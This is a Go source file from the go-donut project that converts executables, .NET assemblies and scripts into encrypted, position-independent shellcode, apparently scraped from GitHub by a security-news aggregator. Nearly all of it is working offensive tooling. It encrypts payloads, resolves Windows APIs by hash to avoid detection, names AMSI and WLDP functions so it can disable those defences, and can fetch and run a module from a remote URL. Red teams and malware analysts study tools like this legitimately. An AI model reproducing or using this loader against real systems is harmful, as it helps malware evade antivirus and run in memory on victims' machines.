go-donut/donut.go at master · Binject/go-donut
2021-03-23 21:18:17 Author: github.com(查看原文) 阅读量:144 收藏

package donut
import (
"bytes"
"encoding/binary"
"io/ioutil"
"log"
"path/filepath"
"strings"
"github.com/Binject/debug/pe"
)
/*
This code imports PE files and converts them to shellcode using the algorithm and stubs taken
from the donut loader: https://github.com/TheWover/donut
You can also use the native-code donut tools to do this conversion.
This has the donut stubs hard-coded as arrays, so if something rots,
try updating the stubs to latest donut first.
*/
// ShellcodeFromURL - Downloads a PE from URL, makes shellcode
func ShellcodeFromURL(fileURL string, config *DonutConfig) (*bytes.Buffer, error) {
buf, err := DownloadFile(fileURL)
if err != nil {
return nil, err
}
// todo: set things up in config
return ShellcodeFromBytes(buf, config)
}
// DetectDotNet - returns true if a .NET assembly. 2nd return value is detected version string.
func DetectDotNet(filename string) (bool, string) {
// auto-detect .NET assemblies and version
pefile, err := pe.Open(filename)
if err != nil {
return false, ""
}
defer pefile.Close()
return pefile.IsManaged(), pefile.NetCLRVersion()
}
// ShellcodeFromFile - Loads PE from file, makes shellcode
func ShellcodeFromFile(filename string, config *DonutConfig) (*bytes.Buffer, error) {
switch strings.ToLower(filepath.Ext(filename)) {
case ".exe":
dotNetMode, dotNetVersion := DetectDotNet(filename)
if dotNetMode {
config.Type = DONUT_MODULE_NET_EXE
} else {
config.Type = DONUT_MODULE_EXE
}
if dotNetVersion != "" && config.Runtime == "" {
config.Runtime = dotNetVersion
}
case ".dll":
dotNetMode, dotNetVersion := DetectDotNet(filename)
if dotNetMode {
config.Type = DONUT_MODULE_NET_DLL
} else {
config.Type = DONUT_MODULE_DLL
}
if dotNetVersion != "" && config.Runtime == "" {
config.Runtime = dotNetVersion
}
case ".xsl":
config.Type = DONUT_MODULE_XSL
case ".js":
config.Type = DONUT_MODULE_JS
case ".vbs":
config.Type = DONUT_MODULE_VBS
}
b, err := ioutil.ReadFile(filename)
if err != nil {
return nil, err
}
return ShellcodeFromBytes(bytes.NewBuffer(b), config)
}
// ShellcodeFromBytes - Passed a PE as byte array, makes shellcode
func ShellcodeFromBytes(buf *bytes.Buffer, config *DonutConfig) (*bytes.Buffer, error) {
if err := CreateModule(config, buf); err != nil {
return nil, err
}
instance, err := CreateInstance(config)
if err != nil {
return nil, err
}
// If the module will be stored on a remote server
if config.InstType == DONUT_INSTANCE_URL {
if config.Verbose {
log.Printf("Saving %s to disk.\n", config.ModuleName)
}
// save the module to disk using random name
instance.Write([]byte{0, 0, 0, 0, 0, 0, 0, 0}) // mystery padding
config.ModuleData.Write([]byte{0, 0, 0, 0, 0, 0, 0, 0}) // mystery padding
ioutil.WriteFile(config.ModuleName, config.ModuleData.Bytes(), 0644)
}
//ioutil.WriteFile("newinst.bin", instance.Bytes(), 0644)
return Sandwich(config.Arch, instance)
}
// Sandwich - adds the donut prefix in the beginning (stomps DOS header), then payload, then donut stub at the end
func Sandwich(arch DonutArch, payload *bytes.Buffer) (*bytes.Buffer, error) {
/*
Disassembly:
0: e8 call $+
1: xx xx xx xx instance length
5: [instance]
x=5+instanceLen: 0x59 pop ecx
x+1: stub preamble + stub (either 32 or 64 bit or both)
*/
w := new(bytes.Buffer)
instanceLen := uint32(payload.Len())
w.WriteByte(0xE8)
binary.Write(w, binary.LittleEndian, instanceLen)
if _, err := payload.WriteTo(w); err != nil {
return nil, err
}
w.WriteByte(0x59)
picLen := int(instanceLen) + 32
switch arch {
case X32:
w.WriteByte(0x5A) // preamble: pop edx, push ecx, push edx
w.WriteByte(0x51)
w.WriteByte(0x52)
w.Write(LOADER_EXE_X86)
picLen += len(LOADER_EXE_X86)
case X64:
w.Write(LOADER_EXE_X64)
picLen += len(LOADER_EXE_X64)
case X84:
w.WriteByte(0x31) // preamble: xor eax,eax
w.WriteByte(0xC0)
w.WriteByte(0x48) // dec ecx
w.WriteByte(0x0F) // js dword x86_code (skips length of x64 code)
w.WriteByte(0x88)
binary.Write(w, binary.LittleEndian, uint32(len(LOADER_EXE_X64)))
w.Write(LOADER_EXE_X64)
w.Write([]byte{0x5A, // in between 32/64 stubs: pop edx
0x51, // push ecx
0x52}) // push edx
w.Write(LOADER_EXE_X86)
picLen += len(LOADER_EXE_X86)
picLen += len(LOADER_EXE_X64)
}
lb := w.Len()
for i := 0; i < picLen-lb; i++ {
w.WriteByte(0x0)
}
return w, nil
}
// CreateModule - Creates the Donut Module from Config
func CreateModule(config *DonutConfig, inputFile *bytes.Buffer) error {
mod := new(DonutModule)
mod.ModType = uint32(config.Type)
mod.Thread = uint32(config.Thread)
mod.Unicode = uint32(config.Unicode)
mod.Compress = uint32(config.Compress)
if config.Type == DONUT_MODULE_NET_DLL ||
config.Type == DONUT_MODULE_NET_EXE {
if config.Domain == "" && config.Entropy != DONUT_ENTROPY_NONE { // If no domain name specified, generate a random one
config.Domain = RandomString(DONUT_DOMAIN_LEN)
} else {
config.Domain = "AAAAAAAA"
}
copy(mod.Domain[:], []byte(config.Domain)[:])
if config.Type == DONUT_MODULE_NET_DLL {
if config.Verbose {
log.Println("Class:", config.Class)
}
copy(mod.Cls[:], []byte(config.Class)[:])
if config.Verbose {
log.Println("Method:", config.Method)
}
copy(mod.Method[:], []byte(config.Method)[:])
}
// If no runtime specified in configuration, use default
if config.Runtime == "" {
config.Runtime = "v2.0.50727"
}
if config.Verbose {
log.Println("Runtime:", config.Runtime)
}
copy(mod.Runtime[:], []byte(config.Runtime)[:])
} else if config.Type == DONUT_MODULE_DLL && config.Method != "" { // Unmanaged DLL? check for exported api
if config.Verbose {
log.Println("DLL function:", config.Method)
}
copy(mod.Method[:], []byte(config.Method))
}
mod.Zlen = 0 // todo: support compression
mod.Len = uint32(inputFile.Len())
if config.Parameters != "" {
// if type is unmanaged EXE
if config.Type == DONUT_MODULE_EXE {
// and entropy is enabled
if config.Entropy != DONUT_ENTROPY_NONE {
// generate random name
copy(mod.Param[:], []byte(RandomString(DONUT_DOMAIN_LEN) + " ")[:])
copy(mod.Param[DONUT_DOMAIN_LEN+1:], []byte(config.Parameters)[:])
} else {
// else set to "AAAA "
copy(mod.Param[:], []byte("AAAAAAAA ")[:])
copy(mod.Param[9:], []byte(config.Parameters)[:])
}
} else {
copy(mod.Param[:], []byte(config.Parameters)[:])
}
}
// read module into memory
b := new(bytes.Buffer)
mod.WriteTo(b)
inputFile.WriteTo(b)
config.ModuleData = b
// update configuration with pointer to module
config.Module = mod
return nil
}
// CreateInstance - Creates the Donut Instance from Config
func CreateInstance(config *DonutConfig) (*bytes.Buffer, error) {
inst := new(DonutInstance)
modLen := uint32(config.ModuleData.Len()) // ModuleData is mod struct + input file
instLen := uint32(3312 + 352 + 8) //todo: that's how big it is in the C version...
inst.Bypass = uint32(config.Bypass)
// if this is a PIC instance, add the size of module
// that will be appended to the end of structure
if config.InstType == DONUT_INSTANCE_PIC {
if config.Verbose {
log.Printf("The size of module is %v bytes. Adding to size of instance.\n", modLen)
}
instLen += modLen
}
if config.Entropy == DONUT_ENTROPY_DEFAULT {
if config.Verbose {
log.Println("Generating random key for instance")
}
tk, err := GenerateRandomBytes(16)
if err != nil {
return nil, err
}
copy(inst.KeyMk[:], tk)
tk, err = GenerateRandomBytes(16)
if err != nil {
return nil, err
}
copy(inst.KeyCtr[:], tk)
if config.Verbose {
log.Println("Generating random key for module")
}
tk, err = GenerateRandomBytes(16)
if err != nil {
return nil, err
}
copy(inst.ModKeyMk[:], tk)
tk, err = GenerateRandomBytes(16)
if err != nil {
return nil, err
}
copy(inst.ModKeyCtr[:], tk)
if config.Verbose {
log.Println("Generating random string to verify decryption")
}
sbsig := RandomString(DONUT_SIG_LEN)
copy(inst.Sig[:], []byte(sbsig))
if config.Verbose {
log.Println("Generating random IV for Maru hash")
}
iv, err := GenerateRandomBytes(MARU_IV_LEN)
if err != nil {
return nil, err
}
inst.Iv = binary.LittleEndian.Uint64(iv)
inst.Mac = Maru(inst.Sig[:], inst.Iv)
}
if config.Verbose {
log.Println("Generating hashes for API using IV:", inst.Iv)
}
for cnt, c := range api_imports {
// calculate hash for DLL string
dllHash := Maru([]byte(c.Module), inst.Iv)
// calculate hash for API string.
// xor with DLL hash and store in instance
inst.Hash[cnt] = Maru([]byte(c.Name), inst.Iv) ^ dllHash
if config.Verbose {
log.Printf("Hash for %s : %s = %x\n",
c.Module,
c.Name,
inst.Hash[cnt])
}
}
// save how many API to resolve
inst.ApiCount = uint32(len(api_imports))
copy(inst.DllNames[:], "ole32;oleaut32;wininet;mscoree;shell32")
// if module is .NET assembly
if config.Type == DONUT_MODULE_NET_DLL ||
config.Type == DONUT_MODULE_NET_EXE {
if config.Verbose {
log.Println("Copying GUID structures and DLL strings for loading .NET assemblies")
}
copy(inst.XIID_AppDomain[:], xIID_AppDomain[:])
copy(inst.XIID_ICLRMetaHost[:], xIID_ICLRMetaHost[:])
copy(inst.XCLSID_CLRMetaHost[:], xCLSID_CLRMetaHost[:])
copy(inst.XIID_ICLRRuntimeInfo[:], xIID_ICLRRuntimeInfo[:])
copy(inst.XIID_ICorRuntimeHost[:], xIID_ICorRuntimeHost[:])
copy(inst.XCLSID_CorRuntimeHost[:], xCLSID_CorRuntimeHost[:])
} else if config.Type == DONUT_MODULE_VBS ||
config.Type == DONUT_MODULE_JS {
if config.Verbose {
log.Println("Copying GUID structures and DLL strings for loading VBS/JS")
}
copy(inst.XIID_IUnknown[:], xIID_IUnknown[:])
copy(inst.XIID_IDispatch[:], xIID_IDispatch[:])
copy(inst.XIID_IHost[:], xIID_IHost[:])
copy(inst.XIID_IActiveScript[:], xIID_IActiveScript[:])
copy(inst.XIID_IActiveScriptSite[:], xIID_IActiveScriptSite[:])
copy(inst.XIID_IActiveScriptSiteWindow[:], xIID_IActiveScriptSiteWindow[:])
copy(inst.XIID_IActiveScriptParse32[:], xIID_IActiveScriptParse32[:])
copy(inst.XIID_IActiveScriptParse64[:], xIID_IActiveScriptParse64[:])
copy(inst.Wscript[:], "WScript")
copy(inst.Wscript_exe[:], "wscript.exe")
if config.Type == DONUT_MODULE_VBS {
copy(inst.XCLSID_ScriptLanguage[:], xCLSID_VBScript[:])
} else {
copy(inst.XCLSID_ScriptLanguage[:], xCLSID_JScript[:])
}
}
// required to disable AMSI
copy(inst.Clr[:], "clr")
copy(inst.Amsi[:], "amsi")
copy(inst.AmsiInit[:], "AmsiInitialize")
copy(inst.AmsiScanBuf[:], "AmsiScanBuffer")
copy(inst.AmsiScanStr[:], "AmsiScanString")
// stuff for PE loader
if len(config.Parameters) > 0 {
copy(inst.Dataname[:], ".data")
copy(inst.Kernelbase[:], "kernelbase")
copy(inst.CmdSyms[:],
"_acmdln;__argv;__p__acmdln;__p___argv;_wcmdln;__wargv;__p__wcmdln;__p___wargv")
}
if config.Thread != 0 {
copy(inst.ExitApi[:], "ExitProcess;exit;_exit;_cexit;_c_exit;quick_exit;_Exit")
}
// required to disable WLDP
copy(inst.Wldp[:], "wldp")
copy(inst.WldpQuery[:], "WldpQueryDynamicCodeTrust")
copy(inst.WldpIsApproved[:], "WldpIsClassInApprovedList")
// set the type of instance we're creating
inst.Type = uint32(int(config.InstType))
// indicate if we should call RtlExitUserProcess to terminate host process
inst.ExitOpt = config.ExitOpt
// set the fork option
inst.OEP = config.OEP
// set the entropy level
inst.Entropy = config.Entropy
// if the module will be downloaded
// set the URL parameter and request verb
if inst.Type == DONUT_INSTANCE_URL {
if config.ModuleName != "" {
if config.Entropy != DONUT_ENTROPY_NONE {
// generate a random name for module
// that will be saved to disk
config.ModuleName = RandomString(DONUT_MAX_MODNAME)
if config.Verbose {
log.Println("Generated random name for module :", config.ModuleName)
}
} else {
config.ModuleName = "AAAAAAAA"
}
}
if config.Verbose {
log.Println("Setting URL parameters")
}
// append module name
copy(inst.Url[:], config.URL+"/"+config.ModuleName)
// set the request verb
copy(inst.Req[:], "GET")
if config.Verbose {
log.Println("Payload will attempt download from:", string(inst.Url[:]))
}
}
inst.Mod_len = uint64(modLen) + 8 //todo: this 8 is from alignment I think?
inst.Len = instLen
config.inst = inst
config.instLen = instLen
if config.InstType == DONUT_INSTANCE_URL && config.Entropy == DONUT_ENTROPY_DEFAULT {
if config.Verbose {
log.Println("encrypting module for download")
}
config.ModuleMac = Maru(inst.Sig[:], inst.Iv)
config.ModuleData = bytes.NewBuffer(Encrypt(
inst.ModKeyMk[:],
inst.ModKeyCtr[:],
config.ModuleData.Bytes()))
b := new(bytes.Buffer)
inst.Len = instLen - 8 /* magic padding */
inst.WriteTo(b)
for uint32(b.Len()) < instLen-16 /* magic padding */ {
b.WriteByte(0)
}
return b, nil
}
// else if config.InstType == DONUT_INSTANCE_PIC
b := new(bytes.Buffer)
inst.WriteTo(b)
if _, err := config.ModuleData.WriteTo(b); err != nil {
log.Fatal(err)
}
for uint32(b.Len()) < config.instLen {
b.WriteByte(0)
}
if config.Entropy != DONUT_ENTROPY_DEFAULT {
return b, nil
}
if config.Verbose {
log.Println("encrypting instance")
}
instData := b.Bytes()
offset := 4 + // Len uint32
CipherKeyLen + CipherBlockLen + // Instance Crypt
4 + // pad
8 + // IV
(64 * 8) + // Hashes (64 uuids of len 64bit)
4 + // exit_opt
4 + // entropy
8 // OEP
encInstData := Encrypt(
inst.KeyMk[:],
inst.KeyCtr[:],
instData[offset:])
bc := new(bytes.Buffer)
binary.Write(bc, binary.LittleEndian, instData[:offset]) // unencrypted header
if _, err := bc.Write(encInstData); err != nil { // encrypted body
log.Fatal(err)
}
if config.Verbose {
log.Println("Leaving.")
}
return bc, nil
}
// DefaultConfig - returns a default donut config for x32+64, EXE, native binary
func DefaultConfig() *DonutConfig {
return &DonutConfig{
Arch: X84,
Type: DONUT_MODULE_EXE,
InstType: DONUT_INSTANCE_PIC,
Entropy: DONUT_ENTROPY_DEFAULT,
Compress: 1,
Format: 1,
Bypass: 3,
}
}

文章来源: https://github.com/Binject/go-donut/blob/master/donut/donut.go
如有侵权请联系:admin#unsafe.sh